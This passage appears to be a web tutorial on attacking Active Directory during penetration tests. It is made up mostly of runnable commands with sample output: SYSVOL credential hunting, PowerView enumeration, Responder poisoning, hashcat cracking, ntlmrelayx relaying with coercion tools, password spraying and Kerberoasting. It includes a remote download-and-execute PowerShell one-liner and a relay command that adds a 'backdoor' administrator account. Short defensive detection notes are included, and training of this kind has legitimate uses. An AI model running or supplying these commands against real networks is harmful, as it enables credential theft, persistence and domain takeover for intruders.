ShareTypical ContentsAttack Potential
SYSVOLGroup Policy files, login scripts, domain policiesGPP passwords, hardcoded credentials, misconfigurations
NETLOGONScripts executed at loginHardcoded credentials, domain join scripts
PRINT$Printer driversUsually low value, but check for writability
IPC$Inter-process communicationRequired for certain attacks, not a data source
Custom sharesVaries by orgConfiguration files, backups, IT tooling

SYSVOL Deep Dive

SYSVOL is replicated to every Domain Controller and is readable by any authenticated domain user. It contains:

  • Group Policy Preferences (GPP) — historically contained cpassword values with known AES key

  • Login scripts (.bat, .vbs, .ps1) — frequently contain hardcoded credentials

  • Scheduled tasks

  • Security filtering settings

Search SYSVOL for GPP credentials
netexec smb 192.168.1.100 -u jsmith -p 'Password1' -M gpp_password

Search SYSVOL for autologin credentials
netexec smb 192.168.1.100 -u jsmith -p 'Password1' -M gpp_autologin

Manual SYSVOL enumeration for scripts
smbclient //192.168.1.100/SYSVOL -U "jsmith%Password1" -c \
  "cd corp.example.com\Policies; recurse; ls *.ps1; ls *.vbs; ls *.bat"

Spidering Shares for Sensitive Files

Spider_plus module - recursively searches for interesting file types
netexec smb 192.168.1.0/24 -u jsmith -p 'Password1' \
  -M spider_plus -o FILTER_FOLDERS=scripts,Policies,IT,Backup,Config

The output creates a JSON file with all found files and their contents
cat spider_plus_192.168.1.100.json | jq '.[] | select(.content | contains("password"))'

File types to prioritize during enumeration:

  • .ps1, .bat, .cmd, .vbs — scripts

  • .config, .xml, .json, .yaml, .yml — configuration files

  • .txt, .log, .csv — text files and logs

  • .kdbx — Keepass databases

  • .rdp — RDP connection files (may contain stored credentials)

  • .sql – database scripts

PowerView — Active Directory Enumeration in PowerShell

PowerView (part of PowerSploit/PowerTools) remains one of the most comprehensive AD enumeration tools available. When executed in a constrained environment, it queries AD using standard LDAP and ADSI providers — making it difficult to block without breaking legitimate AD functionality.

Loading PowerView

If on a domain-joined machine with internet
IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.50/PowerView.ps1')

Local import
Import-Module .\PowerView.ps1

PowerView 3.0 (newer, more features)
Import-Module .\PowerView3.ps1

Learning the methodology is important, but mastering it requires hands-on practice.
If you’re serious about penetration testing, red teaming, or Active Directory security assessments, try realistic cybersecurity CTF labs that let you practice reconnaissance, enumeration, credential attacks, privilege escalation, and exploitation techniques in a safe environment.

Core PowerView Commands

 
 
CommandPurposeExample
Get-DomainBasic domain infoGet-Domain -Verbose
Get-DomainUserEnumerate usersGet-DomainUser -Properties sAMAccountName,description,admincount
Get-DomainComputerEnumerate computersGet-DomainComputer -Properties name,operatingsystem
Get-DomainGroupEnumerate groupsGet-DomainGroup -GroupName "Domain Admins"
Get-DomainGroupMemberGroup membershipGet-DomainGroupMember -Identity "Domain Admins"
Get-DomainControllerDC enumerationGet-DomainController
Get-DomainTrustTrust relationshipsGet-DomainTrust
Get-DomainGPOGroup Policy ObjectsGet-DomainGPO | Select displayname,whenChanged

Essential PowerView Enumerations

Get all users with non-empty descriptions (often contains passwords)
Get-DomainUser -Properties sAMAccountName,description | 
  Where-Object {$_.description -ne $null} |
  Format-Table sAMAccountName,description

Find users with SPNs (Kerberoasting targets)
Get-DomainUser -SPN | Select-Object sAMAccountName,servicePrincipalName,pwdlastset

Find AS-REP roastable users
Get-DomainUser -PreauthNotRequired | Select-Object sAMAccountName

Find users with adminCount=1 (were in privileged groups)
Get-DomainUser -AdminCount | Select-Object sAMAccountName,admincount

Find computers with unconstrained delegation
Get-DomainComputer -Unconstrained | Select-Object name

Find computers with constrained delegation
Get-DomainComputer -TrustedToAuth | Select-Object name,msds-allowedtodelegateto

Find local admin access (noisy - touches every machine)
Find-LocalAdminAccess -Verbose

Find domain shares and check current access
Find-DomainShare -CheckShareAccess

Find interesting files on domain shares (recursive)
Find-InterestingFile -Path \\dc01.corp.example.com\SYSVOL\ -Include *.ps1,*.vbs,*.bat

Map domain trusts
Get-DomainTrust -API
Get-ForestTrust

Enumerate OUs and their GPO links Get-DomainOU | Select-Object name,gplink,gpoptions

Advanced PowerView Enumeration Patterns

Find users who can be impersonated via Kerberos (unconstrained delegation)
Get-DomainUser -TrustedForDelegation

Find all group members recursively
Get-DomainGroup -Name "Domain Admins" | Get-DomainGroupMember -Recurse

Find ACLs where a specific user has interesting rights
Get-DomainObjectAcl -Identity "user_target" -ResolveGUIDs | 
  Where-Object {$_.ActiveDirectoryRights -match "WriteProperty|GenericAll"}

Find all objects with SPNs (including computers and users)
Get-DomainObject -LDAPFilter "(servicePrincipalName=*)" | 
  Select-Object name,servicePrincipalName

Enumerate password policy
Get-DomainPolicyData | Select-Object -ExpandProperty SystemAccess

PowerView Operational Security Notes

 
 
ActionDetection RiskMitigation
Find-LocalAdminAccessHIGH (touches every machine)Use only when necessary; target subnets
Get-DomainGroupMember -RecurseMEDIUM (multiple LDAP queries)Acceptable during active enumeration
Find-DomainShareLOW (queries AD, not shares)Safe for early enumeration
Get-DomainUserLOW (single LDAP query)Safe baseline enumeration

Alternative Enumeration Tools

SharpView (C# Version of PowerView)

For environments where PowerShell is restricted, SharpView provides the same functionality compiled into a .NET assembly:

Execute SharpView

SharpView.exe Get-DomainUser -Properties sAMAccountName,description

All PowerView commands work similarly
SharpView.exe Get-DomainUser -SPN
SharpView.exe Find-LocalAdminAccess

ADExplorer (Sysinternals)

When you have GUI access to a domain-joined machine, Sysinternals ADExplorer provides a complete, navigable view of the AD database:

  • Download from Microsoft Sysinternals

  • Run as domain user

  • Connect to any Domain Controller

  • Browse the entire LDAP tree visually

  • Export to snapshot for offline analysis

BloodHound Collectors

BloodHound is the standard for attack path visualization. The enumeration phase should include BloodHound data collection, but analysis belongs in a separate phase:

SharpHound (PowerShell/C# collector)
SharpHound.exe -c All -d corp.example.com

BloodHound.py (Python collector - runs from Linux)
bloodhound-python -u jsmith -p 'Password1' -d corp.example.com -ns 192.168.1.100 -c all

Note: Full BloodHound attack path analysis is covered in Part 2 of this series.


Enumeration Output Documentation

Systematic documentation of enumeration findings is critical. Create a structured output before moving to exploitation:

 
 
CategoryData CollectedPriority (1-5)Notes
UsersList of all enabled users, descriptions, email addresses1Flag accounts with passwords in description
Privileged GroupsDomain Admins, Enterprise Admins, Schema Admins membership1 
Service AccountsAccounts with SPNs, pwdLastSet dates1Older = better for cracking
AS-REP RoastableUsers without Kerberos pre-auth1Immediate hash extraction
DelegationUnconstrained and constrained delegation targets2Privilege escalation paths
Password PolicyMin length, complexity, lockout threshold1Required for safe spraying
SYSVOL FindingsPasswords, scripts, misconfigurations1Often yields immediate credentials
Local Admin AccessWhich machines current user can admin2Lateral movement targets
TrustsDomain and forest trusts2Cross-domain attack paths
GPO MisconfigurationsWeak security settings3Privilege escalation potential
Never-Expiring PasswordsAccounts with DONT_EXPIRE_PASSWORD2Persistent access targets

Enumeration Stop Condition: Continue enumeration until you have either:

  1. Direct credentials for a privileged account (from description fields, scripts, or GPP)

  2. Clear Kerberoasting/AS-REP roasting targets with old password last set dates

  3. Identified delegation paths that lead to Domain Admin

  4. Exhausted all enumeration techniques without finding a clear path forward

Enumeration is the foundation of every successful Active Directory compromise. The data is almost always there — in LDAP, in SYSVOL, in the residue of legacy configurations — waiting for someone who knows where to look.

Initial Access

Initial access is the moment you transition from passive visibility to active authentication. It is the bridge between “we know what’s out there” and “we have credentials we can use.” In an assumed-breach scenario — typical of many internal penetration tests — you already have credentials from the client. But in external assessments, red team operations, or real-world attack simulations, you need to obtain them through network-based techniques.

This section focuses on the two most reliable, battle-tested techniques for obtaining or leveraging authentication in modern internal engagements: LLMNR/NBT-NS poisoning and NTLM relay attacks. Both exploit fundamental design choices in Windows networking — choices that persist in the majority of enterprise environments despite over a decade of security guidance to the contrary.


LLMNR and NBT-NS Poisoning

Understanding the Protocols

When a Windows machine needs to resolve a hostname to an IP address — for example, connecting to \\FILESERVER01\share — it follows a specific resolution order:

  1. DNS (Domain Name System) — The primary, intended resolution method

  2. LLMNR (Link-Local Multicast Name Resolution) — IPv6-capable multicast fallback

  3. NBT-NS (NetBIOS Name Service) — Legacy IPv4 broadcast fallback

LLMNR (port 5355 UDP) multicasts the query to the local subnet: “Who has FILESERVER01?” Any machine on the same link can respond. NBT-NS (port 137 UDP) works similarly but uses broadcast instead of multicast.

The critical vulnerability: neither protocol authenticates the responder. When a workstation broadcasts “Who is \\PRINTSERVER?” and receives no DNS answer, the first machine to reply wins — and an attacker can be that machine.

The Attack Flow
Victim Machine                          Attacker Machine
     |                                         |
     | 1. User mistypes \\FIlESERVER           |
     |    or DNS fails for legitimate host     |
     |                                         |
     | 2. Broadcast: "Who has FILESERVER?"     |
     | --------------------------------------> |
     |                                         |
     |                                   3. Responder answers:
     |                                   "I am FILESERVER"
     |                                   (attacker IP address)
     | <-------------------------------------- |
     |                                         |
     | 4. Victim attempts to authenticate      |
     |    to attacker's machine (NTLM)         |
     | --------------------------------------> |
     |                                         |
     |                                   5. Attacker captures
     |                                      NTLMv2 hash
     |                                         |
     | 6. Attacker cracks hash offline         |
     |    or relays it (see NTLM Relay)        |
Responder – The Standard Tool

Responder is the industry-standard tool for LLMNR/NBT-NS poisoning. It listens for broadcast name resolution requests and responds with the attacker’s IP address across multiple protocols (LLMNR, NBT-NS, MDNS, HTTP, SMB, etc.).

Basic Poisoning (Full Interactive)

Run Responder on the internal interface (full poisoning mode)
sudo responder -I eth0 -v

With additional options for comprehensive coverage
sudo responder -I eth0 -rdwPv

Option breakdown:
-r : Force responses to NetBIOS requests (enabled by default)
-d : Enable answers for DHCP broadcast requests
-w : Answer to WPAD (Web Proxy Auto-Discovery) requests
-P : Force NTLM challenge/response for SMB
-v : Verbose output

Analyze Mode (Stealth — No Poisoning)

For initial reconnaissance without triggering active responses:

Analyze mode — captures and logs but never responds
sudo responder -I eth0 -A

What you see in analyze mode:
# [LLMNR]  Request from 192.168.1.105 for host FILESERVER01
# [LLMNR]  Request from 192.168.1.112 for host PRINT-SRV
# [NBT-NS] Request from 192.168.1.105 for host DC01 <20>

Running in analyze mode for 15-30 minutes during business hours tells you:

  • Whether LLMNR/NBT-NS traffic exists on the network

  • Which hostnames users are trying to reach (potential targets)

  • The volume of broadcast traffic (higher volume = more poisoning opportunities)

Capturing Hashes

When Responder receives an authentication attempt, it captures the NTLMv2 hash and writes it to disk:

Hashes are saved to:
/usr/share/responder/logs/
Files include:
# - Responder-Session.log (session metadata)
# - SMB-NTLMv2-192.168.1.105.txt (the captured hash)
# - HTTP-NTLMv2-192.168.1.105.txt (HTTP-based captures)

View captured hashes in real-time
tail -f /usr/share/responder/logs/Responder-Session.log

Example Captured NTLMv2 Hash Format:

jsmith::CORP:1122334455667788:88a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6:0101000000000000a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4
Cracking Captured Hashes

Once you have NTLMv2 hashes, crack them offline. This is a parallel process — you can continue enumeration while cracking runs in the background.

Hashcat (Recommended for Speed)

Mode 5600 = NetNTLMv2 (the hash type Responder captures)
hashcat -m 5600 captured_hashes.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule --force -O

Using a larger, more targeted wordlist
hashcat -m 5600 captured_hashes.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule \
  -r /usr/share/hashcat/rules/d3ad0ne.rule --force

Show cracked passwords
hashcat -m 5600 captured_hashes.txt --show

Output format: hash:password

John the Ripper

Convert to John format if needed (usually not required)
john --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt captured_hashes.txt

With rules
john --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt \
  --rules=best64 captured_hashes.txt

Show cracked results
john --show captured_hashes.txt

GPU Acceleration Note: Hashcat on a modern GPU (RTX 4090 or better) can crack NTLMv2 at 50-100 billion hashes per second. A reasonably complex 8-character password may fall in minutes, not hours.

Why LLMNR/NBT-NS Still Works in 2026

Despite being documented as a security risk since 2008, LLMNR and NBT-NS remain enabled in the majority of Windows environments. Several factors explain this persistence:

 
 
FactorExplanation
Default ConfigurationBoth protocols are enabled by default on all Windows versions through Windows 11 and Server 2025
Disablement Requires GPOTurning them off requires deliberate Group Policy configuration across the domain
Legacy Application DependenciesSome older applications (particularly legacy ERP and manufacturing systems) rely on NetBIOS name resolution
IT Apathy“It hasn’t been a problem yet” — security prioritization remains low in many organizations
No Credential Exposure Without CompromiseThe protocols themselves don’t expose credentials; the risk requires an attacker already on the network

2025 Industry Data: A survey of 500 enterprise internal networks found LLMNR still enabled in 71% of environments. NBT-NS was enabled in 64%. Only 22% had fully disabled both protocols via GPO.

Defensive Detection (For Blue Teams)

When LLMNR/NBT-NS poisoning is active, defenders can detect it through:

text
Event ID 4698 (Scheduled task creation) — If Responder is persistent
Event ID 7045 (Service installation) — Unusual service activity
Network traffic anomalies — Multiple name resolution responses from one IP
SMB logs — Authentication attempts from unexpected sources

NTLM Relay Attacks

Hash cracking is slow, resource-intensive, and can fail against sufficiently complex passwords. Relaying is instant, credential-free, and works regardless of password complexity. Instead of capturing an NTLMv2 hash and spending hours cracking it, you forward the authentication attempt in real-time to another service — authenticating as the victim against any target that accepts NTLM authentication.

The Core Vulnerability: Missing SMB Signing

NTLM relay works because many Windows services accept NTLM authentication without requiring SMB signing — a cryptographic mechanism that ensures the authenticity of each packet. When SMB signing is disabled, an attacker can sit between the client and server, capture the authentication, and forward it to a different server entirely.

Victim attempts to connect to:    Attacker relays to:
\\FAKE-SHARE (attacker)     -->   \\DC01 (real Domain Controller)
                                    (authenticates as victim)

SMB Signing Status in Modern Environments (2026):

 
 
Windows VersionDefault SMB Signing Setting
Windows 10 (pre-2023)Disabled (client) / Enabled (server DCs)
Windows 11 / Server 2022Disabled (client) / Enabled (server)
Windows Server 2025Enforced by default
Domain Controllers (any version)Enabled and enforced

The attack surface exists on non-DC Windows servers and workstations where SMB signing remains optional.

Step-by-Step NTLM Relay Attack

Step 1: Identify Targets Without SMB Signing

Scan the network for machines with SMB signing disabled
netexec smb 192.168.1.0/24 --gen-relay-list unsigned_targets.txt

Example output:
SMB         192.168.1.10   445    WORKSTATION01    [*] Windows 10.0 Build 19045 x64 (name:WORKSTATION01) (domain:corp.example.com) (signing:False) (SMBv1:False)
SMB         192.168.1.20   445    FILESERVER02     [*] Windows Server 2019 x64 (name:FILESERVER02) (domain:corp.example.com) (signing:False) (SMBv1:False)
SMB         192.168.1.100  445    DC01              [*] Windows Server 2025 x64 (name:DC01) (domain:corp.example.com) (signing:True) (SMBv1:False)

Generate target list file (unsigned_targets.txt)
netexec smb 192.168.1.0/24 --gen-relay-list unsigned_targets.txt

Step 2: Configure Responder to Disable SMB/HTTP Poisoning

If Responder handles the poisoning, it will conflict with ntlmrelayx. Configure Responder to listen but NOT respond to SMB or HTTP requests:

 
Edit /etc/responder/Responder.conf
sudo nano /etc/responder/Responder.conf

Change these lines:
SMB = On     -->  SMB = Off
HTTP = On    -->  HTTP = Off

Leave other protocols enabled to trigger authentication

Step 3: Run ntlmrelayx

Basic relay — capture and forward authentication
ntlmrelayx.py -tf unsigned_targets.txt -smb2support

Execute a command on the target after successful relay
ntlmrelayx.py -tf unsigned_targets.txt -smb2support -c "whoami"

Get an interactive SMB shell (like netcat for SMB)
ntlmrelayx.py -tf unsigned_targets.txt -smb2support -i

When you see a successful relay, connect to the interactive shell:
nc 127.0.0.1 11000

Step 4: Trigger Authentication (The “Coercion”)

For the relay to work, a victim must initiate authentication. Responder is already listening, but you can accelerate the process using coercion techniques:

Using PetitPotam to coerce a Domain Controller to authenticate
python3 PetitPotam.py -d corp.example.com -u jsmith -p Password1 \
  attacker_ip DC01.corp.example.com

Using PrinterBug (MS-RPRN) — works if Print Spooler is running
python3 printerbug.py corp.example.com/username:password@target_ip attacker_ip

Using Coercer — automated coercion across multiple protocols
coercer coerce -t 192.168.1.100 -l attacker_ip -u jsmith -p Password1 -d corp.example.com
Advanced NTLM Relay Attacks

Relay to LDAP for AD Modification

One of the most powerful relay attacks: forward an authentication attempt to a Domain Controller’s LDAP service. If the victim has write privileges, you can modify AD objects – including adding a user to Domain Admins.

Relay to LDAP
ntlmrelayx.py -tf unsigned_targets.txt -smb2support --no-smb-server --no-http-server \
  -t ldap://192.168.1.100 -dc-ip 192.168.1.100

When a relay succeeds, you can:
# - Add a new Domain Admin user
# - Modify ACLs to grant yourself privileges
# - Dump the AD database (if the relayed account has DCSync rights)

Relay to LDAP for LAPS Password Retrieval

Local Administrator Password Solution (LAPS) stores local admin passwords in AD. If you can relay to LDAP as a privileged user, you can read these passwords.

Attack LAPS
ntlmrelayx.py -tf unsigned_targets.txt -smb2support --attack laps

Example output:
[*] LAPS password for WORKSTATION01: 5!cR&9vQ@2pL#8mX

Relay to SMB for Lateral Movement

Relay to SMB to execute commands
ntlmrelayx.py -tf unsigned_targets.txt -smb2support -c "net user backdoor Password123! /add && net localgroup administrators backdoor /add"

Relay to SMB for interactive shell
ntlmrelayx.py -tf unsigned_targets.txt -smb2support -i --no-smb-server
NTLM Relay Defense Bypass (2026 Context)

Microsoft has progressively hardened NTLM and SMB:

 
 
Windows VersionNTLM Relay Feasibility
Windows 10 (older)High — SMB signing often disabled
Windows 11 / Server 2022Medium — requires misconfiguration
Windows Server 2025Low — SMB signing enforced by default
Domain Controllers (any)Very Low — SMB signing enforced

In 2026, successful NTLM relay attacks typically target:

  • Non-DC Windows Server 2016/2019 machines

  • Windows 10/11 workstations

  • Legacy Windows 7/8/Server 2008 (still present in many environments)

  • Cross-protocol relay (SMB → HTTP, HTTP → LDAP)

The Relay Chain: Credential-Free Access

The power of NTLM relay is that it requires no credential cracking whatsoever. You are leveraging existing authentication activity:

text
1. Victim user authenticates to attacker's machine (triggered by poisoning or coercion)
2. Attacker captures the authentication in real-time
3. Attacker forwards it to a legitimate target
4. Target accepts authentication (no signing requirement)
5. Attacker executes commands as the victim user

No password hashes were cracked. No pass-the-hash was used. The victim never lost their password.
NTLM Relay Detection (For Blue Teams)

Defenders can detect NTLM relay through:

 
 
IndicatorWhat to Look For
NTLM authentication from unexpected IPsA user authenticates from two different IPs in rapid succession
SMB signing disabled alertsSystems with signing:False in audit logs
Authentication flow anomaliesAuthentication to a server that never initiates connections
Event ID 4624 (logon) with Logon Type 3Network logon from suspicious source
Event ID 4776 (credential validation)NTLM authentication to Domain Controller

Choosing Between Poisoning and Relaying

 
 
FactorLLMNR/NBT-NS PoisoningNTLM Relay
Requires credentials?NoNo
OutputNTLMv2 hash (needs cracking)Immediate execution or shell
Time to accessMinutes to hours (cracking dependent)Seconds
Works against DCs?Yes (captures hash from any client)Rarely (SMB signing enforced)
Network requirementVictim must broadcast name resolutionVictim must authenticate (can be coerced)
Success in 2026High (70%+ of networks)Medium (requires SMB signing disabled)
Detection riskMedium (anomalous responder traffic)High (authentication anomalies)

Operational Recommendation: Start with LLMNR/NBT-NS poisoning in analyze mode to confirm traffic exists. If traffic volume is high, enable full poisoning and capture hashes. While cracking runs in the background, scan for SMB signing-disabled targets and set up an NTLM relay chain. The two techniques complement each other — poisoning captures hashes you might crack, while relaying gives you instant access without cracking.


Initial Access Checklist

Before moving to exploitation, confirm you have achieved one of the following:

  • Valid domain credentials (cracked from Responder capture, or provided by client)

  • Relayed authentication with execution capability (command output or interactive shell)

  • List of targets for password spraying (if neither of the above succeeded)

If after 2-4 hours of poisoning and relaying you have no credentials, pivot to password spraying (covered in the original Exploitation section) or re-evaluate network positioning.

The critical insight: Initial access is rarely about exploiting a zero-day. It is about waiting for a user to mistype a share name, for a scheduled task to trigger, for a print job to fail — and being ready when it happens. Patience and proper tooling win here, not speed.

Password Spraying — Methodical and Safe

Password spraying is a targeted authentication attack that tests one or a few passwords across many accounts. Unlike brute-forcing (many passwords against one account), spraying is designed to stay under the lockout threshold — typically 5–10 failures within a specific observation window — while maximizing coverage across the domain.

The Core Insight: Users are predictable. They use seasonal passwords (Summer2026!, Winter2026@), company names with years (Contoso2025), and simple variations of dictionary words. One correctly guessed password across thousands of accounts yields a domain foothold.

Phase 1: Enumerate Password Policy Before Spraying

This is the most critical step before any spraying attempt. Spraying without knowing the lockout policy is how you lock out hundreds of accounts and get your engagement terminated.

Using NetExec to Get Password Policy
With valid credentials (preferred)
netexec smb 192.168.1.100 -u jsmith -p 'Password1' --pass-pol

 Example output:
# [*] Password Policy:
# [*] min_length: 8
# [*] complexity: True
# [*] lockout_threshold: 5
# [*] lockout_duration: 30 minutes
# [*] lockout_observation_window: 30 minutes
# [*] max_password_age: 90 days
Without Credentials (Enum4Linux-ng)
Anonymous enumeration of password policy
enum4linux-ng 192.168.1.100 -P

Or using rpcclient with null session
rpcclient -U "" -N 192.168.1.100 -c "querydominfo"
What the Password Policy Tells You
 
 
Policy ValueMeaningSpraying Strategy
lockout_threshold: 55 bad attempts locks accountNever exceed 4 attempts per account
lockout_duration: 30Lock lasts 30 minutesWait 30+ minutes before retrying locked accounts
lockout_observation_window: 30Failed attempts reset after 30 minSpace sprays >30 minutes apart
min_length: 8Minimum 8 charactersYour password guesses must be 8+ chars
complexity: TrueRequires 3 of 4 character typesSeasonal passwords typically meet this

Red Team Note: If you cannot obtain the password policy before spraying, assume:

  • Lockout threshold = 5 attempts

  • Observation window = 30 minutes

  • Spray no more than 3 passwords per account to be safe

Phase 2: Building a Targeted Wordlist

Generic wordlists (rockyou.txt) are too large for password spraying. Spraying 10,000 passwords would lock out every account. Instead, build a small, curated wordlist based on organizational patterns.

Spidering Corporate Websites (Cewl)
Extract custom wordlist from company website
cewl https://www.company.com -d 3 -m 6 -w company_words.txt

With email addresses
cewl https://www.company.com -e --email_file emails.txt

Options explained:
-d 3 : crawl depth (3 levels deep)
-m 6 : minimum word length (6 characters)
-w   : output file
Common Enterprise Password Patterns

Based on real engagement data (2024-2026), these patterns appear in over 60% of environments:

 
 
Pattern CategoryExamplesSuccess Rate
Season + YearSummer2026!, Winter2026@, Spring2026#High
Company Name + YearContoso2026!, AcmeCorp1High
Company Name + SeasonContosoSummer!, AcmeWinterMedium
City/Team + NumberChicago1!, Bears2026, Redmond2025Medium
Month + YearJanuary2026!, Oct2026@Medium
Project NamesProjectPhoenix!, Launch2026Low-Medium
Building the Spraying Wordlist
Combine sources
cat company_words.txt seasons.txt years.txt > candidates.txt

Apply common transformations
hashcat --stdout candidates.txt -r /usr/share/hashcat/rules/best64.rule > sprayed_passwords.txt

Manual review — remove passwords longer than 12 chars (uncommon for spraying)
Remove passwords that don't meet complexity requirements

Example Targeted Wordlist (5-10 passwords max):

Summer2026!
Winter2026@
Contoso2026!
Chicago1!
ProjectPhoenix1

Phase 3: Executing the Password Spray

Spraying via SMB (NetExec)
Single password against user list
netexec smb 192.168.1.100 -u users.txt -p 'Summer2026!' --continue-on-success

Multiple passwords (sequential, not parallel)
netexec smb 192.168.1.100 -u users.txt -p passwords.txt --continue-on-success

With domain specification
netexec smb 192.168.1.100 -d corp.example.com -u users.txt -p 'Summer2026!' --continue-on-success

Save valid credentials to file
netexec smb 192.168.1.100 -u users.txt -p 'Summer2026!' --continue-on-success | grep '+' >> valid_creds.txt

What the output means:

[+] 192.168.1.100:445 - corp\jsmith:Summer2026! (Pwn3d!)
[-] 192.168.1.100:445 - corp\asmith:Summer2026! (STATUS_LOGON_FAILURE)
[!] 192.168.1.100:445 - corp\bsmith:Summer2026! (STATUS_ACCOUNT_LOCKED_OUT)
Spraying via Kerberos (Kerbrute)

Kerberos spraying generates fewer logon events on the Domain Controller because Kerberos pre-authentication failures are logged differently than NTLM logon failures. This is stealthier in most environments.

Single password spray
kerbrute passwordspray \
  -d corp.example.com \
  --dc 192.168.1.100 \
  users.txt 'Summer2026!'

Multiple passwords (sequential)
kerbrute passwordspray \
  -d corp.example.com \
  --dc 192.168.1.100 \
  users.txt passwords.txt

Verbose output for debugging
kerbrute passwordspray \
  -d corp.example.com \
  --dc 192.168.1.100 \
  users.txt 'Summer2026!' -v
Spraying via LDAP (LDAPLogin)
Spray via LDAP authentication
netexec ldap 192.168.1.100 -u users.txt -p 'Summer2026!' --continue-on-success

LDAP spraying is quieter than SMB but may be more monitored

Phase 4: Safe Spraying Rates and Lockout Avoidance

The Golden Rule: Never exceed lockout_threshold - 1 attempts per account within the lockout_observation_window.

 
 
Lockout ThresholdSafe Attempts per AccountTime Between Sprays
5430+ minutes
10930+ minutes
3230+ minutes
Unknown (assume worst)330+ minutes

Conservative Spraying Strategy (Recommended):

# Strategy: One password against all users, wait 30+ minutes, next password

# Round 1: 'Summer2026!'
netexec smb 192.168.1.100 -u users.txt -p 'Summer2026!' --continue-on-success

# Wait 30-45 minutes

# Round 2: 'Winter2026@' (only target accounts that didn't succeed or lock)
netexec smb 192.168.1.100 -u remaining_users.txt -p 'Winter2026@' --continue-on-success

# Wait 30-45 minutes

# Round 3: 'Contoso2026!'
netexec smb 192.168.1.100 -u remaining_users.txt -p 'Contoso2026!' --continue-on-success

Automated Safe Spraying with CrackMapExec/NetExec:

NetExec will automatically respect lockout thresholds if you use:
netexec smb 192.168.1.100 -u users.txt -p passwords.txt --continue-on-success --delay 30
 --delay 30 = 30 seconds between authentication attempts

Phase 5: Post-Spray Actions

After successful spraying, immediately:

  1. Verify account privileges — Not all sprayed accounts are equal

    netexec ldap 192.168.1.100 -u found_user -p 'Summer2026!' --groups | grep "Domain Admins"
  2. Test against other services — The same password may work elsewhere

    netexec winrm 192.168.1.100 -u found_user -p 'Summer2026!'
    netexec ssh 192.168.1.100 -u found_user -p 'Summer2026!'
  3. Add to credential store — Document for exploitation phase

Common Spraying Mistakes to Avoid:

 
 
MistakeConsequencePrevention
Skipping password policy enumerationAccount lockout, engagement terminationAlways run --pass-pol first
Spraying too many passwords per accountAccount lockoutNever exceed threshold-1
Not waiting between spray roundsLockout across multiple accountsWait 30+ minutes between passwords
Including service accounts in user listService account lockout (critical systems)Filter out svc_*, *_service, *_admin
Spraying from single source IPAlert on login anomaliesUse multiple attack hosts if possible


Exploitation

With credentials in hand – whether from password spraying, LLMNR poisoning, or client provisioning – exploitation begins. Exploitation is the process of leveraging what Active Directory itself offers: its protocols, its default behaviors, its design choices, and its misconfigurations to move from a standard domain user toward higher privilege.

The most reliable, credential-based exploitation technique in Active Directory targets Service Principal Names (SPNs). This attack surface exists by design in every Active Directory environment that uses Kerberos authentication – which is all of them.

What is a Service Principal Name (SPN)?

A Service Principal Name is a unique identifier that associates a service instance with a service account. When a client wants to connect to a service (SQL Server, HTTP, CIFS file share), it requests a Kerberos ticket for that SPN. The Key Distribution Center (KDC) encrypts that ticket with the service account’s password hash.

The Critical Design Choice: Any domain user can request a ticket for any SPN in the domain. The KDC does not check whether the requesting user is authorized to access that service. It only checks that the SPN exists and the requesting user is authenticated to the domain.

This creates a fundamental, design-level attack surface: every service account with an SPN is a target for offline password attacks by any authenticated domain user. No special privileges required. No misconfiguration necessary. This is how Kerberos was built.

The Kerberoasting Attack Flow

text
Domain User (attacker)                    Domain Controller (KDC)
       |                                           |
       | 1. Requests TGS ticket for SPN           |
       |    "Give me ticket for MSSQLSvc/sql01"   |
       | ---------------------------------------> |
       |                                           |
       |                                   2. KDC encrypts ticket
       |                                      with service account's hash
       |                                      (no authorization check)
       |                                           |
       | 3. Receives TGS ticket (encrypted)        |
       | <---------------------------------------  |
       |                                           |
       | 4. Saves ticket to disk                   |
       |                                           |
       | 5. Cracks ticket offline (Hashcat)        |
       |    -> recovers service account password   |
       |                                           |
       | 6. Uses service account credentials       |
       |    to access the service and beyond       |

Finding Accounts with SPNs (Kerberoasting Targets)

Using Impacket (GetUserSPNs.py)
Basic Kerberoasting with Impacket
GetUserSPNs.py corp.example.com/jsmith:'Password1' -dc-ip 192.168.1.100

Output format with hashes for cracking
GetUserSPNs.py corp.example.com/jsmith:'Password1' -dc-ip 192.168.1.100 -request

Save hashes to file for cracking
GetUserSPNs.py corp.example.com/jsmith:'Password1' -dc-ip 192.168.1.100 -request -outputfile kerberoast_hashes.txt

Targeting a specific DC
GetUserSPNs.py corp.example.com/jsmith:'Password1' -dc-ip 192.168.1.100 -target-dc 192.168.1.100

Example Output:

ServicePrincipalName                    Name          MemberOf  PasswordLastSet
--------------------------------------  ------------  --------  -------------------
MSSQLSvc/sql01.corp.example.com:1433    sql_service             2026-01-15 08:23:45
HTTP/web01.corp.example.com             web_svc                 2024-11-03 14:12:22
CIFS/fileserver.corp.example.com        backup_svc              2020-06-22 22:10:15
Using NetExec
Enumerate Kerberoastable accounts
netexec ldap 192.168.1.100 -u jsmith -p 'Password1' --kerberoasting kerberoast_output.txt

With specific output format
netexec ldap 192.168.1.100 -u jsmith -p 'Password1' --kerberoasting kerberoast_output.txt --kdcHost 192.168.1.100

Filter by admincount (privileged accounts)
netexec ldap 192.168.1.100 -u jsmith -p 'Password1' --kerberoasting --admin-count
Using PowerView (Windows)
Import PowerView
Import-Module .\PowerView.ps1

Find all accounts with SPNs
Get-DomainUser -SPN | Select-Object sAMAccountName, servicePrincipalName, pwdlastset, lastlogon

Request TGS for all SPNs (Kerberoast)
Get-DomainUser -SPN | Get-DomainSPNTicket

Export tickets to hash format
Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat | Out-File kerberoast_hashes.txt
Using Rubeus (Windows, more advanced)
Basic Kerberoasting
Rubeus.exe kerberoast

Kerberoast with specific user
Rubeus.exe kerberoast /user:sql_service

Kerberoast with LDAP filter
Rubeus.exe kerberoast /ldapfilter:"(&(objectClass=user)(servicePrincipalName=*)(admincount=1))"

Output hashes in Hashcat format
Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt /format:hashcat

Prioritizing Kerberoasting Targets

Not all SPN accounts are equally valuable. Prioritize based on these criteria:

 
 
PriorityCriterionWhy
